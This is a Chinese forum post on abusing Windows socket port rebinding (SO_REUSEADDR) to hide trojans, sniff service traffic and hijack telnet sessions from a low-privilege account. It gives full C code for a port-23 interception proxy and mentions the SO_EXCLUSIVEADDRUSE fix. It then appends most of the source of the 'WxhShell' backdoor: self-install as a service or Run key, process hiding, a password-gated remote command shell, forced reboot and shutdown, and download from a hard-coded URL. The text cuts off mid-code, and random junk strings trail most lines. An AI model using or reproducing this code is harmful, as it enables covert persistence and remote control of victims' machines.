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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: b6M[q_   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pad*oPH,  
g axsv[W>^  
  saddr.sin_family = AF_INET; bP#:Oi0v`  
9=M$AB  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;+_:,_  
tT8%yG}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2|y"!JqE1  
+/7?HGf  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 SR hiQ  
yzn%<H~  
  这意味着什么?意味着可以进行如下的攻击: G Vr1`l  
TqQB@-!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /HEw-M9z  
j;Gtu  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N% B>M7-=  
wu6;.xTLl  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Paq4  
2qNt,;DQ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  nAato\mM  
j_[tu!~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +E+p"7  
z9Mfd#5?>P  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 E~T-=ocKE  
sdrfsrNvB-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xu%k~4cB,  
9RL`<,Q  
  #include aK~8B_5k8  
  #include 8`{:MkXP  
  #include (m}'4et~L  
  #include    a!SiX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   pF>i-i  
  int main() }&D WaO]J7  
  { {WS;dX4  
  WORD wVersionRequested; klYX7?  
  DWORD ret; Dpac^ST  
  WSADATA wsaData; <dNOd0e  
  BOOL val; 3`?7 <YJ  
  SOCKADDR_IN saddr; T<>,lQs(a  
  SOCKADDR_IN scaddr; E=Bf1/c\  
  int err; Oszj$C(jF  
  SOCKET s; :,7hWs  
  SOCKET sc; =%O6:YM   
  int caddsize; fbvL7* (  
  HANDLE mt; ~=LE0.3[  
  DWORD tid;   hE/cd1iJ$  
  wVersionRequested = MAKEWORD( 2, 2 ); S@tLCqV4  
  err = WSAStartup( wVersionRequested, &wsaData ); ^ +\dz  
  if ( err != 0 ) { #%2rP'He  
  printf("error!WSAStartup failed!\n"); UDFDJm$  
  return -1; R w\gTo  
  } (,2S XV  
  saddr.sin_family = AF_INET; h" W,WxL8  
   ]N]!o#q}L  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 gVuFHHeUz  
2[yd> (`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  /maJtX'  
  saddr.sin_port = htons(23); 4at?(B+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DCa^ u'f  
  { -i|}m++  
  printf("error!socket failed!\n"); Gz0]}]A  
  return -1; IPpN@  
  } y.k~Y0  
  val = TRUE; !BF; >f`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^7*11%Q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >Tx?%nQ  
  { TX/Xt7#R:  
  printf("error!setsockopt failed!\n"); ,p a {qne  
  return -1; Tidn-2L73O  
  } t?gic9 q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T!{w~'=F  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 fOrH$?  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^76]0`gS  
re<{ >  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) t@;p  
  { |Ez>J+uye(  
  ret=GetLastError(); B[Scr5|  
  printf("error!bind failed!\n"); P+sW[:  
  return -1; 3?yg\  
  } (C L%>5V  
  listen(s,2); i]4I [!  
  while(1) n@i HFBb  
  { WwFm*4{[o  
  caddsize = sizeof(scaddr); r6qj7}\  
  //接受连接请求 >=>2m2z=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Or+U@vAnk  
  if(sc!=INVALID_SOCKET) :cECRm*  
  { o|:b;\)b  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "sCRdx]_  
  if(mt==NULL) +\A,&;!SR  
  { Qv-_ jZ  
  printf("Thread Creat Failed!\n"); =WATyY:s  
  break; _VN?#J)o  
  } 3"i-o$P  
  } ]6` %  
  CloseHandle(mt); '<<t]kK[N  
  } L*+@>3mu)  
  closesocket(s); t{kG<J/l  
  WSACleanup(); Llo"MO*sr  
  return 0; /6* 42[r  
  }   +'a^f5  
  DWORD WINAPI ClientThread(LPVOID lpParam) m0SlOgRsk  
  { tk`v:t!6U  
  SOCKET ss = (SOCKET)lpParam; _{KG 4+5\X  
  SOCKET sc; ND;#7/$>  
  unsigned char buf[4096]; cI*;k.KU  
  SOCKADDR_IN saddr; m(!FHPvN  
  long num; Fxz"DZY6  
  DWORD val; xp{tw$  
  DWORD ret; [q -h|m  
  //如果是隐藏端口应用的话,可以在此处加一些判断 q9_OGd|P  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   " 8MF_Gu):  
  saddr.sin_family = AF_INET; o.!Dq7 R  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); M }D}K\)  
  saddr.sin_port = htons(23); ?`ZU R& 20  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =,8]nwgo  
  { HV|,}Wks6s  
  printf("error!socket failed!\n"); r19 pZAc  
  return -1; X"Swi&4  
  } n>YKa)|W`  
  val = 100; NLqzi%s  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) da(<K}  
  { PZ9I`P! C  
  ret = GetLastError(); tsjrRMR  
  return -1; cwg"c4V  
  } z:*|a+cy  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H{wl% G  
  { L4HI0Mx  
  ret = GetLastError(); /4Gt{yg Sr  
  return -1; jL luj   
  } ~>|ziHx  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .q>iXE_c  
  { iBa A9  
  printf("error!socket connect failed!\n"); $& td=OK  
  closesocket(sc); e"<OELA  
  closesocket(ss); VPo".BvG6  
  return -1; ,z jv7$L  
  } o+'6`g'8  
  while(1) 0l6.<-f{  
  { bH~dJFj/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &u !,Hp  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 02^rV*re  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 mzgfFNm^G)  
  num = recv(ss,buf,4096,0); Zy/_ E@C}u  
  if(num>0) KWHY4  
  send(sc,buf,num,0); 7[)E>XRE  
  else if(num==0) 4WB0Pt{  
  break; ]/v[8dS(l  
  num = recv(sc,buf,4096,0); JZ x[W&]zT  
  if(num>0) upmx $H>  
  send(ss,buf,num,0); &D<yX~  
  else if(num==0) y9ZvV0  
  break; F^:3?JA _  
  } t6c4+D'{].  
  closesocket(ss); gbA_DZ  
  closesocket(sc); B+`g> h  
  return 0 ; [/r(__.  
  }  ob]w;"  
^2rN>k,?  
yG{TH0tq  
========================================================== E1 2uZ$X  
FSO).=#  
下边附上一个代码,,WXhSHELL ,P0) 6>  
wCBplaojJ  
========================================================== :ws<-Qy  
p_4<6{KEt  
#include "stdafx.h" m&3xJuKih  
~} ~4  
#include <stdio.h> / ;$[E  
#include <string.h> OyIw>Wfv  
#include <windows.h> "AqB$^S9t  
#include <winsock2.h> 8oGRLYU N  
#include <winsvc.h> 2 %]X+`+O  
#include <urlmon.h> KI.hy2?e  
n$R)>n Y  
#pragma comment (lib, "Ws2_32.lib") }@)[5N# A|  
#pragma comment (lib, "urlmon.lib") [-w%/D%@  
y~V(aih}D  
#define MAX_USER   100 // 最大客户端连接数 2\$oV  
#define BUF_SOCK   200 // sock buffer BgT*icd8d  
#define KEY_BUFF   255 // 输入 buffer c71y'hnT  
dE3) | %  
#define REBOOT     0   // 重启 sLk-x\P]|  
#define SHUTDOWN   1   // 关机 \;Weizq5  
x+]"  
#define DEF_PORT   5000 // 监听端口 6A ah9   
|.dRily+  
#define REG_LEN     16   // 注册表键长度 ]:n,RO6  
#define SVC_LEN     80   // NT服务名长度 ['D]>Ot68  
*Pr )%  
// 从dll定义API i6Gu@( 8Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *4 n)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >\8+: oS^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K 8O|?x]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /dHF6yW  
fP1! )po  
// wxhshell配置信息 e3\T)x &=  
struct WSCFG { !,PWb3S  
  int ws_port;         // 监听端口 j>kqz>3  
  char ws_passstr[REG_LEN]; // 口令 y();tsW qc  
  int ws_autoins;       // 安装标记, 1=yes 0=no q^nVN#  
  char ws_regname[REG_LEN]; // 注册表键名 W,u:gzmhw  
  char ws_svcname[REG_LEN]; // 服务名 6eCCmIdaM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <UCl@5g&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /wG2vE8e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '+ ?X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O6Y0XL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j<$2hiI/?&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l,).p  
eS! /(#T  
}; khd4ue$  
>Q*Wi  
// default Wxhshell configuration .+qpk*V\  
struct WSCFG wscfg={DEF_PORT, pR_9NfV{  
    "xuhuanlingzhe", \2z>?i)  
    1, 2AdDIVYC  
    "Wxhshell", mkpMfPt  
    "Wxhshell", uAk.@nfiEv  
            "WxhShell Service", ?7A>+EY  
    "Wrsky Windows CmdShell Service", aq-~B~c`g  
    "Please Input Your Password: ", GvAb`c=  
  1, =~gvZV-<  
  "http://www.wrsky.com/wxhshell.exe", a'T;x`b8U,  
  "Wxhshell.exe" ;VK.2^jW!  
    }; ~J]qP#C  
rl.}%Ny  
// 消息定义模块 7 8,n%=nG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X3& Jb2c2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^J{:x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PY'2h4IL  
char *msg_ws_ext="\n\rExit."; S jj6q`  
char *msg_ws_end="\n\rQuit."; @)}L~lb[)  
char *msg_ws_boot="\n\rReboot..."; Y-9I3?ar  
char *msg_ws_poff="\n\rShutdown..."; c@Is2 9t*  
char *msg_ws_down="\n\rSave to "; (k P9hcV  
(m$Y<{)2  
char *msg_ws_err="\n\rErr!"; +`15le`R  
char *msg_ws_ok="\n\rOK!"; $;PMkUE  
\<K5ZIWV  
char ExeFile[MAX_PATH]; zm#  ?W  
int nUser = 0; iow"n$/  
HANDLE handles[MAX_USER]; Ul# r  
int OsIsNt; N>E_%]Ch  
D+c>F5  
SERVICE_STATUS       serviceStatus; IGgL7^MF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,: ^u-b|  
{{1G`;|v 9  
// 函数声明 =MWHJ'3-/  
int Install(void); }B^tL$k  
int Uninstall(void); >Gu M]qn  
int DownloadFile(char *sURL, SOCKET wsh); dWW.Y*339  
int Boot(int flag); 6~+e mlD  
void HideProc(void); |[lKY+26:{  
int GetOsVer(void); AFn7uW!9Gw  
int Wxhshell(SOCKET wsl); [><Tm \(:  
void TalkWithClient(void *cs); Lj7AZ|k  
int CmdShell(SOCKET sock); fsXy"#mOkD  
int StartFromService(void); d_ CT $  
int StartWxhshell(LPSTR lpCmdLine); tBSW|0  
R!1p^~/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {)Xy%QV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &j6erwaT  
p}P-6&k,U  
// 数据结构和表定义 #z42C?V  
SERVICE_TABLE_ENTRY DispatchTable[] = cb bFw  
{ zeRyL3fnmb  
{wscfg.ws_svcname, NTServiceMain}, m+9#5a-  
{NULL, NULL} qSQ~D(tO  
}; 1*7@BP5  
Zd&S@Z  
// 自我安装 ('~LMu_  
int Install(void) @nf`Gw ;  
{ V6Dbd" i9  
  char svExeFile[MAX_PATH]; tp|d*7^i  
  HKEY key; $ Q0n  
  strcpy(svExeFile,ExeFile); 31)&vf[[  
fy$1YI>!Q  
// 如果是win9x系统,修改注册表设为自启动 6B-16  
if(!OsIsNt) { t,' <gI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h];I{crh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =M-p/uB]  
  RegCloseKey(key); wY}@'pzX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s^SJY{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]^]wP]R_  
  RegCloseKey(key); =H~j,K  
  return 0; nFn5v'g  
    } N g,j#  
  } }7X%'Bg=M  
} 5 dg(e3T  
else { >d6|^h'0  
adw2x pj  
// 如果是NT以上系统,安装为系统服务 4+ig' |o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {Ha57Wk8D  
if (schSCManager!=0) M3AXe]<eC1  
{ Pc9H0\+Xk  
  SC_HANDLE schService = CreateService zreU')a  
  ( iQ{VY ^ 0  
  schSCManager, PW4q~rc=:  
  wscfg.ws_svcname, 0$njMnB2l  
  wscfg.ws_svcdisp, SX*RP;vHy  
  SERVICE_ALL_ACCESS, gZ5 |UR<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W9)&!&<o  
  SERVICE_AUTO_START, 9FX-1,Jx  
  SERVICE_ERROR_NORMAL, H.0K?N&\?>  
  svExeFile, "5 A! jq  
  NULL, r :dTz  
  NULL, /<3UQLMa  
  NULL, 1&2>LE/P  
  NULL, fR|A(u#9  
  NULL T;#FEzBz  
  ); Wjc'*QCPl  
  if (schService!=0) 3o qHGA:}  
  { {b{s<@?  
  CloseServiceHandle(schService); 54/=G(F   
  CloseServiceHandle(schSCManager); (w{j6).3Dj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %3 rP `A  
  strcat(svExeFile,wscfg.ws_svcname); [ 3HfQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ctUp=po  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YzWz|  
  RegCloseKey(key); #Dac~>a'  
  return 0; *h|U,T7ew  
    } A=4OWV?  
  } / j^  
  CloseServiceHandle(schSCManager); $J2Gf(RU  
} n*$ g]G$  
} Je{ykL?N  
UI#h&j5pW  
return 1; T;uX4,|(  
} j@9T.P1  
;);kEq/=P  
// 自我卸载 he4(hX^  
int Uninstall(void) Y0>y8U V  
{ *2?@ |<(r  
  HKEY key; :Sma`U&  
g5yJfRLxp  
if(!OsIsNt) { [vgtc.V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wj+*E6o-n  
  RegDeleteValue(key,wscfg.ws_regname); $^ P0F9~0  
  RegCloseKey(key); ZW}_DT0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l ,8##7  
  RegDeleteValue(key,wscfg.ws_regname); MPV5P^@X  
  RegCloseKey(key); #F#%`Rv1  
  return 0; nK,w]{<wG!  
  } g){<y~Mk  
} RZ7@cQY  
} XRH!]!  
else { Uv.)?YeGh  
wbHb;]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TNth   
if (schSCManager!=0) +0~YP*I`/  
{ d5.4l&\u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pFXEu= $3  
  if (schService!=0) PdCEUh\>y  
  { 9my^ Y9B  
  if(DeleteService(schService)!=0) { yw!{MO  
  CloseServiceHandle(schService); 2?5>o!C  
  CloseServiceHandle(schSCManager); q@qsp&0/  
  return 0; /ouPg=+Nl  
  } e!Hhs/&!T  
  CloseServiceHandle(schService); P%6~&woF  
  } : 'c&,oLY  
  CloseServiceHandle(schSCManager); xmG<]WF>E  
} rc{v$.o0  
} yLGRi^d#  
N$DkX)Z  
return 1; *Uh!>Iv;  
} RpK@?[4s  
g*Phv|kI  
// 从指定url下载文件 '7/)Ot(  
int DownloadFile(char *sURL, SOCKET wsh) B6"0OIDY"  
{ _+,TT['57s  
  HRESULT hr; gSgr6TH0  
char seps[]= "/"; Gq6*SaTk  
char *token; <UI [%yXj  
char *file; Si7*& dw=  
char myURL[MAX_PATH]; aYeR{Y]  
char myFILE[MAX_PATH]; JLYi]nZ  
%RVZD#zr  
strcpy(myURL,sURL); IcEdG(  
  token=strtok(myURL,seps); )7d&NE_  
  while(token!=NULL) j [a(#V{  
  { ZoeD:xnh[  
    file=token; TV:9bn?r)  
  token=strtok(NULL,seps); Mhu*[a=;x  
  } XuTD\g3)  
O8o3O 6[Y  
GetCurrentDirectory(MAX_PATH,myFILE); p'k0#R$  
strcat(myFILE, "\\"); (mOtU8e  
strcat(myFILE, file); dveiQ  
  send(wsh,myFILE,strlen(myFILE),0); 5\v3;;A[  
send(wsh,"...",3,0); CAe!7HiR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;`Z{7'^U  
  if(hr==S_OK) GVz6-T~\>  
return 0; FlQGg VN  
else ?5p>BER?  
return 1; >usL*b0%  
=v\.h=~~  
} ':q p05t  
*R"/|Ka  
// 系统电源模块 O< I-  
int Boot(int flag) lFk R=!?=  
{ 0%B/,/PxD  
  HANDLE hToken; s*4dxnS_8  
  TOKEN_PRIVILEGES tkp; 3 {V>S,O3]  
/efUjkP  
  if(OsIsNt) { vIvIfE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >ef6{URy<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *hrvYil2b  
    tkp.PrivilegeCount = 1; teP<!RKNb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t7pFW^&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jo7\`#(Q  
if(flag==REBOOT) { t:S+%u U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LP-o8c  
  return 0; =AT."$r>  
} So6x"1B  
else { YR70BOxK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Smh,zCc>s  
  return 0; 7^Uv7< pw  
} SJLis"8  
  } 7=uj2.J6  
  else { 3%6? g*  
if(flag==REBOOT) { zCA2X !7F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [Pp'Ye~K@c  
  return 0; J4'eI[73  
} 46x'I(  
else { yauvXosX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LD?sh"?b  
  return 0; @iiT<  
} hoP]9&<T  
} / 1RpM]d  
bD^owa  
return 1; 3q.q YX  
} RCrCs  
;a/E42eN;  
// win9x进程隐藏模块 !Cs_F&l"j  
void HideProc(void) #4:?gfIj  
{ o-\[,}T)M  
`^vE9nW 7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); km(Po}  
  if ( hKernel != NULL ) Wqnc{oq |$  
  { _`V'r#Qn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `L zPotz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wzA$'+Mb  
    FreeLibrary(hKernel); [^)g%|W  
  } OI*H,Z "  
0Gk<l{o?^  
return; dr(*T  
} m 5.Zu.  
v19-./H^ j  
// 获取操作系统版本 4*L_)z&4;  
int GetOsVer(void) gR**@t=;j  
{ DXo|.!P=3  
  OSVERSIONINFO winfo; #E?4E1bnB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J,hCvm  
  GetVersionEx(&winfo); mw!F{pw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '91/md5  
  return 1; `uFdwO'DD  
  else {ax:RUQxy  
  return 0; /z!%d%"  
} oDR%\VY6T  
\bF{-"7.  
// 客户端句柄模块 H|*m$| $,  
int Wxhshell(SOCKET wsl) [ 3Gf2_  
{ 7_L;E~\  
  SOCKET wsh; RN1_S  
  struct sockaddr_in client; ig!+2g  
  DWORD myID; _#niyW+?~  
do%&m]#;  
  while(nUser<MAX_USER) IPk4 ;,  
{ .H|-_~Yx|  
  int nSize=sizeof(client); $ `c:&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j.Hf/vi`z  
  if(wsh==INVALID_SOCKET) return 1; +0&/g&a\R  
"[k3kAm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #R"*c hLV  
if(handles[nUser]==0) p?!/+  
  closesocket(wsh); . vV|hSc  
else 8m MQ[#0:}  
  nUser++; Ulyue  
  } = &]L00u.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^c<Ve'-  
2HdC |$_+  
  return 0; /(cPfZZ  
} 8Wx=p#_  
A<{{iBEI`  
// 关闭 socket d~H`CrQE*  
void CloseIt(SOCKET wsh) :]KAkhFkbb  
{ %A`+WYeuX  
closesocket(wsh); tYS06P^<  
nUser--; KHme&yMq  
ExitThread(0); ]`K2 N  
} `Oa WGZ[  
~a:  
// 客户端请求句柄 Oz95  
void TalkWithClient(void *cs) Pal=F0-Q\  
{ &pRREu:[4L  
%Zi} MPx  
  SOCKET wsh=(SOCKET)cs; $I=~S[p  
  char pwd[SVC_LEN]; N['  .BN  
  char cmd[KEY_BUFF]; tA;}h7/Lc~  
char chr[1]; ;`&kZi60Hz  
int i,j; YWLj?+  
wp_0+$?s  
  while (nUser < MAX_USER) { XTy x r  
DU S6SO  
if(wscfg.ws_passstr) { xp t:BBo  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fVlB=8DNk&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (HVGlw'`  
  //ZeroMemory(pwd,KEY_BUFF); X8|,   
      i=0; C_Dn{  
  while(i<SVC_LEN) { ;+%rw2Z,B  
;I}fBZ 3  
  // 设置超时 $i&zex{\  
  fd_set FdRead; uFE)17E  
  struct timeval TimeOut; z_HdISy0  
  FD_ZERO(&FdRead); 3w=J'(RU  
  FD_SET(wsh,&FdRead); Vk suu@cch  
  TimeOut.tv_sec=8; Hka2  
  TimeOut.tv_usec=0; L,\Iasv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aUp g u"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 80I#TA6C  
g#bRT*,L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^W ^OfY  
  pwd=chr[0]; @dK Tx#gZ  
  if(chr[0]==0xd || chr[0]==0xa) { s<Ziegmw|g  
  pwd=0; +>,I1{u%&  
  break; hb$Ce'}N  
  } 7dWS  
  i++; qPNR`%}Q  
    } R_C)  
TbU#96"~.  
  // 如果是非法用户,关闭 socket 4 KiY6)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (=0.inZ  
} ~$'awY  
;l+Leex  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); # d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .Mbz3;i0  
l#o ~W`  
while(1) { .A|udZ,  
S[gx{Bxiw  
  ZeroMemory(cmd,KEY_BUFF); 7#XzrT]  
{c'lhUB  
      // 自动支持客户端 telnet标准   ]Ze1s02(  
  j=0; 0B2t"(&  
  while(j<KEY_BUFF) { 4x34u}l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %J(:ADu]  
  cmd[j]=chr[0]; I9Xuok!0>=  
  if(chr[0]==0xa || chr[0]==0xd) { ye&;(30Oq  
  cmd[j]=0; nlP;nlW  
  break; ~ljXzD93Z  
  } 0J9x9j`&j  
  j++; P:c w|Q  
    } M3\AY30L  
54 T`OE =  
  // 下载文件 /m1\iM\  
  if(strstr(cmd,"http://")) { zX[U~.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ';CNGv -  
  if(DownloadFile(cmd,wsh)) 0mE 0 j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ud?Q%) X  
  else ^qs $v06  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tQ)qCk07  
  } _6Sp QW  
  else { B\~}3!j  
/uflpV|  
    switch(cmd[0]) { Z.,MVcd  
  oA 1yIp  
  // 帮助 e'~3oqSvR  
  case '?': { Q ,g\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dO'(2J8  
    break; {: /}NpA$  
  } ?uu*L6  
  // 安装 aE8VZ8tvq  
  case 'i': { oH@78D0A  
    if(Install()) Nn6%9PX_)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kiEa<-]  
    else w )f#V s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :#Wd~~d  
    break; *dQSw)R  
    } 5pX6t  
  // 卸载 6nn *]|7  
  case 'r': { itz,m r P  
    if(Uninstall()) &C}*w2]0S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =_CzH(=f#  
    else "oyo#-5z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }BEB1Q}L  
    break; w;M#c Y  
    } 81F9uM0  
  // 显示 wxhshell 所在路径 vM={V$D&  
  case 'p': { e\rp)[>'  
    char svExeFile[MAX_PATH]; $xsd~L &  
    strcpy(svExeFile,"\n\r"); -"x$ZnHU  
      strcat(svExeFile,ExeFile); E .h*g8bXe  
        send(wsh,svExeFile,strlen(svExeFile),0); 0GwR~Z}Z  
    break; 43cE`9~  
    } Qs!5<)6  
  // 重启 +{]j]OP  
  case 'b': { k$VlfQ'+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]L jf?tk  
    if(Boot(REBOOT)) %d @z39-;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [),ige  
    else { C!gZN9-  
    closesocket(wsh); F|8 &  
    ExitThread(0); Py< }S-:  
    } gGYKEq{j(  
    break; +`4A$#$+y  
    } T{ "(\X$  
  // 关机 6]N.%Y[(  
  case 'd': { kZ~~/?B  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9r9NxKuAO  
